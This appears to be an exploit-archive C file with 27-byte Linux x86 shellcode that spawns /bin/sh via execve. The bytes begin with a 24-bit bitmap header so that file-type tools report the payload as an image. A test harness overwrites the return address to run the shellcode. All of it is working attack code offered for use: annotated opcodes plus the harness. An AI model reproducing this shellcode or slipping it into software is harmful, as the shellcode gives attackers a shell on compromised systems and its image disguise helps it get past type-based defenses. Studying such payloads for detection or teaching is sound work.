/* * (linux/x86) - execve("/bin/sh", ["/bin/sh", NULL]) + Bitmap 24bit Header - 27 bytes * * root@magicbox:~# file linux-sh-bm24bhdr.bin * linux-sh-bm24bhdr.bin: PC bitmap data * * - izik <izik@tty64.org> */ char shellcode[] = // // Bitmap 24bit Header (4 bytes) // "\x42" // inc %edx "\x4d" // dec %ebp "\x36" // ss "\x91" // xchg %eax,%ecx // // execve("/bin/sh", ["/bin/sh", NULL]); // "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // push %ebx "\x89\xe1" // mov %esp,%ecx "\xcd\x80"; // int $0x80 int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; }